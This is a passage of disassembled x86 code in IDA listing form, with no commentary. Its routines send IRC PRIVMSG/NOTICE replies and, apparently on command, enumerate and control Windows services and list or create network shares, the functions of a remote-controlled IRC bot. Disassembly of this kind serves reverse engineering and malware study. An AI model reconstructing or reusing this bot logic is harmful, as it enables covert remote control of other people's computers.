		push	[ebp+arg_4]
		call	ds:dword_43A400
		mov	eax, ebx
		pop	ebx
		jmp	loc_412B99
sub_412B7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412CEC	proc near		; CODE XREF: sub_40CCC1+3Dp
					; seg000:0040D004p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41746F
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A3B8
		leave
		retn
sub_412CEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D32	proc near		; CODE XREF: start+88p
					; seg000:004014BDp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_412D4D
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_412D4D:				; CODE XREF: sub_412D32+14j
		push	edi
		call	sub_415CD0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_415CD0
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_415A4A
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_4365F0
		push	eax
		call	sub_4154CD
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A3B8
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_412DCB
		push	7D0h
		call	ds:dword_421060

locret_412DCB:				; CODE XREF: sub_412D32+8Cj
		leave
		retn
sub_412D32	endp


; =============== S U B	R O U T	I N E =======================================



sub_412DCD	proc near		; CODE XREF: seg000:loc_40ED45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_412E32
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	ds:dword_436608[esi]
		push	edi
		push	eax
		call	sub_412E54
		add	esp, 14h
		test	eax, eax
		jnz	short loc_412E15
		push	edi
		push	ds:off_436604[esi]
		mov	esi, offset dword_469030
		push	offset dword_43673C
		push	esi
		call	sub_4154CD
		add	esp, 10h
		jmp	short loc_412E4F
; ---------------------------------------------------------------------------


loc_412E15:				; CODE XREF: sub_412DCD+2Aj
		push	eax
		call	sub_412EF6
		push	eax
		push	edi
		mov	esi, offset dword_469030
		push	offset dword_436700
		push	esi
		call	sub_4154CD
		add	esp, 14h
		jmp	short loc_412E4F
; ---------------------------------------------------------------------------


loc_412E32:				; CODE XREF: sub_412DCD+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_469030
		push	ds:off_436600[eax*4]
		push	offset dword_4366C8
		push	esi
		call	sub_4154CD
		add	esp, 0Ch


loc_412E4F:				; CODE XREF: sub_412DCD+46j
					; sub_412DCD+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_412DCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E54	proc near		; CODE XREF: sub_412DCD+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	ds:dword_43A35C
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_412E7B
		call	ds:dword_421088
		mov	ebx, eax
		jmp	short loc_412EF0
; ---------------------------------------------------------------------------


loc_412E7B:				; CODE XREF: sub_412E54+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_43A250
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_412E9B
		call	ds:dword_421088
		mov	ebx, eax
		jmp	short loc_412EE8
; ---------------------------------------------------------------------------


loc_412E9B:				; CODE XREF: sub_412E54+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_412ECE
		cmp	eax, 3
		jz	short loc_412EBF
		jle	short loc_412EE1
		cmp	eax, 6
		jg	short loc_412EE1
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	ds:dword_43A2B8
		jmp	short loc_412ED5
; ---------------------------------------------------------------------------


loc_412EBF:				; CODE XREF: sub_412E54+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	ds:dword_43A258
		jmp	short loc_412ED5
; ---------------------------------------------------------------------------


loc_412ECE:				; CODE XREF: sub_412E54+4Dj
		push	esi
		call	ds:dword_43A2BC


loc_412ED5:				; CODE XREF: sub_412E54+69j
					; sub_412E54+78j
		test	eax, eax
		jnz	short loc_412EE1
		call	ds:dword_421088
		mov	ebx, eax


loc_412EE1:				; CODE XREF: sub_412E54+54j
					; sub_412E54+59j ...
		push	esi
		call	ds:dword_43A26C


loc_412EE8:				; CODE XREF: sub_412E54+45j
		push	edi
		call	ds:dword_43A26C
		pop	esi


loc_412EF0:				; CODE XREF: sub_412E54+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_412E54	endp


; =============== S U B	R O U T	I N E =======================================



sub_412EF6	proc near		; CODE XREF: sub_412DCD+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_412FAB
		jz	loc_412FA4
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_412F6E
		jz	short loc_412F64
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_412F5A
		dec	ecx
		dec	ecx
		jz	short loc_412F50
		dec	ecx
		jz	short loc_412F46
		sub	ecx, 51h
		jz	short loc_412F3C
		sub	ecx, 24h
		jnz	loc_413021	; default
					; jumptable 00412FC8 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_413013
; ---------------------------------------------------------------------------


loc_412F3C:				; CODE XREF: sub_412EF6+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_413013
; ---------------------------------------------------------------------------


loc_412F46:				; CODE XREF: sub_412EF6+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."


loc_412F4B:				; DATA XREF: seg002:off_42B7FCo
		jmp	loc_413013
; ---------------------------------------------------------------------------


loc_412F50:				; CODE XREF: sub_412EF6+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_413013
; ---------------------------------------------------------------------------


loc_412F5A:				; CODE XREF: sub_412EF6+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_413013
; ---------------------------------------------------------------------------


loc_412F64:				; CODE XREF: sub_412EF6+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_413013
; ---------------------------------------------------------------------------


loc_412F6E:				; CODE XREF: sub_412EF6+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_412F9D
		dec	ecx
		jz	short loc_412F96
		dec	ecx
		jz	short loc_412F8F
		dec	ecx
		jnz	loc_413021	; default
					; jumptable 00412FC8 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_413013
; ---------------------------------------------------------------------------


loc_412F8F:				; CODE XREF: sub_412EF6+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_412F96:				; CODE XREF: sub_412EF6+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_412F9D:				; CODE XREF: sub_412EF6+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_412FA4:				; CODE XREF: sub_412EF6+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_412FAB:				; CODE XREF: sub_412EF6+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_413021 ; default
					; jumptable 00412FC8 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_41300E
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_413021 ; default
					; jumptable 00412FC8 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, ds:byte_413062[ecx]
		jmp	ds:off_41303A[ecx*4] ; switch jump


loc_412FCF:				; DATA XREF: seg000:off_41303Ao
		push	offset aTheSpecifiedDa ; jumptable 00412FC8 case 7
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_412FD6:				; CODE XREF: sub_412EF6+D2j
					; DATA XREF: seg000:off_41303Ao
		push	offset aTheServiceDepe ; jumptable 00412FC8 case 17
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_412FDD:				; CODE XREF: sub_412EF6+D2j
					; DATA XREF: seg000:off_41303Ao
		push	offset aTheServiceDe_0 ; jumptable 00412FC8 case 10
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_412FE4:				; CODE XREF: sub_412EF6+D2j
					; DATA XREF: seg000:off_41303Ao
		push	offset aTheServiceHasB ; jumptable 00412FC8 case 0
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_412FEB:				; CODE XREF: sub_412EF6+D2j
					; DATA XREF: seg000:off_41303Ao
		push	offset aTheSpecified_0 ; jumptable 00412FC8 case 2
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_412FF2:				; CODE XREF: sub_412EF6+D2j
					; DATA XREF: seg000:off_41303Ao
		push	offset aTheServiceCoul ; jumptable 00412FC8 case 11
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_412FF9:				; CODE XREF: sub_412EF6+D2j
					; DATA XREF: seg000:off_41303Ao
		push	offset aTheServiceHa_0 ; jumptable 00412FC8 case 14
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_413000:				; CODE XREF: sub_412EF6+D2j
					; DATA XREF: seg000:off_41303Ao
		push	offset aTheRequested_1 ; jumptable 00412FC8 case 3
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_413007:				; CODE XREF: sub_412EF6+D2j
					; DATA XREF: seg000:off_41303Ao
		push	offset aTheServiceHasN ; jumptable 00412FC8 case 4
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_41300E:				; CODE XREF: sub_412EF6+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_413013:				; CODE XREF: sub_412EF6+41j
					; sub_412EF6+4Bj ...
		push	offset dword_468970
		call	sub_4154CD
		pop	ecx
		pop	ecx
		jmp	short loc_413034
; ---------------------------------------------------------------------------


loc_413021:				; CODE XREF: sub_412EF6+36j
					; sub_412EF6+89j ...
		push	eax		; default
					; jumptable 00412FC8 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_468970
		call	sub_4154CD
		add	esp, 0Ch


loc_413034:				; CODE XREF: sub_412EF6+129j
		mov	eax, offset dword_468970
		retn
sub_412EF6	endp

; ---------------------------------------------------------------------------
off_41303A	dd offset loc_412FE4	; DATA XREF: sub_412EF6+D2r
		dd offset loc_412FEB	; jump table for switch	statement
		dd offset loc_413000
		dd offset loc_413007
		dd offset loc_412FCF
		dd offset loc_412FDD
		dd offset loc_412FF2
		dd offset loc_412FF9
		dd offset loc_412FD6
		dd offset loc_413021
byte_413062	db	0,     9,     1,     2 ; DATA XREF: sub_412EF6+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413074	proc near		; CODE XREF: seg000:0040ED70p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	ds:dword_43A35C
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h


loc_4130AC:				; CODE XREF: sub_413074+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	ds:dword_43A328
		test	eax, eax
		jnz	short loc_4130E6
		call	ds:dword_421088
		cmp	eax, 0EAh
		jnz	loc_41319A


loc_4130E6:				; CODE XREF: sub_413074+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_413191
		lea	esi, [ebp+var_188]


loc_4130F7:				; CODE XREF: sub_413074+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_413140
		dec	eax
		jz	short loc_413139
		dec	eax
		jz	short loc_413132
		dec	eax
		jz	short loc_41312B
		dec	eax
		jz	short loc_413124
		dec	eax
		jz	short loc_41311D
		dec	eax
		jz	short loc_413116
		push	offset aUnknown_1 ; "	 Unknown"
		jmp	short loc_413145
; ---------------------------------------------------------------------------


loc_413116:				; CODE XREF: sub_413074+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_413145
; ---------------------------------------------------------------------------


loc_41311D:				; CODE XREF: sub_413074+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_413145
; ---------------------------------------------------------------------------


loc_413124:				; CODE XREF: sub_413074+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_413145
; ---------------------------------------------------------------------------


loc_41312B:				; CODE XREF: sub_413074+90j
		push	offset aRunning_0 ; "	 Running"
		jmp	short loc_413145
; ---------------------------------------------------------------------------


loc_413132:				; CODE XREF: sub_413074+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_413145
; ---------------------------------------------------------------------------


loc_413139:				; CODE XREF: sub_413074+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_413145
; ---------------------------------------------------------------------------


loc_413140:				; CODE XREF: sub_413074+87j
		push	offset aStopped	; "    Stopped"


loc_413145:				; CODE XREF: sub_413074+A0j
					; sub_413074+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4154CD
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4130F7


loc_413191:				; CODE XREF: sub_413074+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_4130AC


loc_41319A:				; CODE XREF: sub_413074+6Cj
		push	[ebp+var_C]
		call	ds:dword_43A26C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_413074	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131B1	proc near		; CODE XREF: seg000:loc_40EE27p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_41324A
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_4131DA
		dec	eax
		jnz	short loc_41322A
		push	edi
		push	0
		call	sub_413383
		pop	ecx
		pop	ecx
		jmp	short loc_413226
; ---------------------------------------------------------------------------


loc_4131DA:				; CODE XREF: sub_4131B1+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_413218
		push	24h
		push	edi
		call	sub_417060
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413218
		push	57h
		pop	eax


loc_4131F1:				; CODE XREF: sub_4131B1+77j
		push	eax
		call	sub_413B5B
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_468C2C
		push	ds:off_436600[eax*4]
		push	offset dword_436D0C
		push	esi
		call	sub_4154CD
		add	esp, 18h
		jmp	short loc_41326A
; ---------------------------------------------------------------------------


loc_413218:				; CODE XREF: sub_4131B1+2Dj
					; sub_4131B1+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_4132D7
		add	esp, 0Ch


loc_413226:				; CODE XREF: sub_4131B1+27j
		test	eax, eax
		jnz	short loc_4131F1


loc_41322A:				; CODE XREF: sub_4131B1+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_468C2C
		push	ds:off_436604[eax*4]
		push	offset dword_436CDC
		push	esi
		call	sub_4154CD
		add	esp, 10h
		jmp	short loc_41326A
; ---------------------------------------------------------------------------


loc_41324A:				; CODE XREF: sub_4131B1+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_468C2C
		lea	eax, [eax+eax*2]
		push	ds:off_436600[eax*4]
		push	offset dword_436CA4
		push	esi
		call	sub_4154CD
		add	esp, 0Ch


loc_41326A:				; CODE XREF: sub_4131B1+65j
					; sub_4131B1+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4131B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_413270	proc near		; CODE XREF: seg000:004148E5p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_41327D
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41327D:				; CODE XREF: sub_413270+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, ds:dword_421138
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	ds:byte_468E2C,	1
		mov	ebp, eax
		jnz	short loc_4132BA
		or	ds:byte_468E2C,	1
		lea	eax, [ebp+1]
		push	eax
		call	sub_4167A5
		pop	ecx
		mov	ds:dword_468BCC, eax


loc_4132BA:				; CODE XREF: sub_413270+32j
		push	esi
		push	esi
		push	ebp
		push	ds:dword_468BCC
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, ds:dword_468BCC
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_413270	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4132D7	proc near		; CODE XREF: sub_4131B1+6Dp
					; sub_4149C4+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_413342
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_413342
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_417060
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_413342
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	ds:dword_43A268
		pop	edi
		leave
		retn
sub_4132D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_413342	proc near		; CODE XREF: sub_4132D7+Ap
					; sub_4132D7+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_41334F
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41334F:				; CODE XREF: sub_413342+9j
		push	ebx
		push	esi
		mov	esi, ds:dword_421064
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_4167A5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_413342	endp


; =============== S U B	R O U T	I N E =======================================



sub_413383	proc near		; CODE XREF: sub_4131B1+20p
					; seg000:0041485Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_413342
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_413342
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	ds:dword_43A240
		pop	esi
		retn
sub_413383	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4133A6	proc near		; CODE XREF: seg000:0040EE53p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_413342
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 18h


loc_4133DF:				; CODE XREF: sub_4133A6+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	ds:dword_43A2B4
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_413442
		cmp	ebx, 0EAh
		jz	short loc_413442
		push	ebx
		push	ebx
		call	sub_413B5B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_436D6C
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 24h
		jmp	short loc_4134AF
; ---------------------------------------------------------------------------


loc_413442:				; CODE XREF: sub_4133A6+5Dj
					; sub_4133A6+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_4134A6
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_413450:				; CODE XREF: sub_4133A6+FCj
		push	dword ptr [esi+10h]
		call	ds:dword_43A25C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_413467
		mov	eax, offset aNo	; "No"


loc_413467:				; CODE XREF: sub_4133A6+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_413450
		xor	esi, esi


loc_4134A6:				; CODE XREF: sub_4133A6+A2j
		push	[ebp+var_4]
		call	ds:dword_43A3F8


loc_4134AF:				; CODE XREF: sub_4133A6+9Aj
		cmp	ebx, 0EAh
		jz	loc_4133DF
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4133A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4134C7	proc near		; CODE XREF: seg000:loc_40EEC9p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_41356B
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_413509
		dec	eax
		jz	short loc_4134FE
		dec	eax
		jnz	short loc_413524
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_41360D
		add	esp, 14h
		jmp	short loc_413520
; ---------------------------------------------------------------------------


loc_4134FE:				; CODE XREF: sub_4134C7+1Dj
		push	ebx
		push	edi
		call	sub_4135EC
		pop	ecx
		pop	ecx
		jmp	short loc_413520
; ---------------------------------------------------------------------------


loc_413509:				; CODE XREF: sub_4134C7+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_41351D
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_413592
		add	esp, 0Ch
		jmp	short loc_413520
; ---------------------------------------------------------------------------


loc_41351D:				; CODE XREF: sub_4134C7+45j
		push	57h
		pop	eax


loc_413520:				; CODE XREF: sub_4134C7+35j
					; sub_4134C7+40j ...
		cmp	eax, edi
		jnz	short loc_413544


loc_413524:				; CODE XREF: sub_4134C7+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_468E30
		push	ds:off_436604[eax*4]
		push	offset dword_436E5C
		push	esi
		call	sub_4154CD
		add	esp, 10h
		jmp	short loc_41358B
; ---------------------------------------------------------------------------


loc_413544:				; CODE XREF: sub_4134C7+5Bj
		push	eax
		call	sub_413B5B
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_468E30
		push	ds:off_436600[eax*4]
		push	offset dword_436E1C
		push	esi
		call	sub_4154CD
		add	esp, 18h
		jmp	short loc_41358B
; ---------------------------------------------------------------------------


loc_41356B:				; CODE XREF: sub_4134C7+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_468E30
		lea	eax, [eax+eax*2]
		push	ds:off_436600[eax*4]
		push	offset dword_436DE0
		push	esi
		call	sub_4154CD
		add	esp, 0Ch


loc_41358B:				; CODE XREF: sub_4134C7+7Bj
					; sub_4134C7+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4134C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413592	proc near		; CODE XREF: sub_4134C7+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_413342
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_413342
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_413342
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
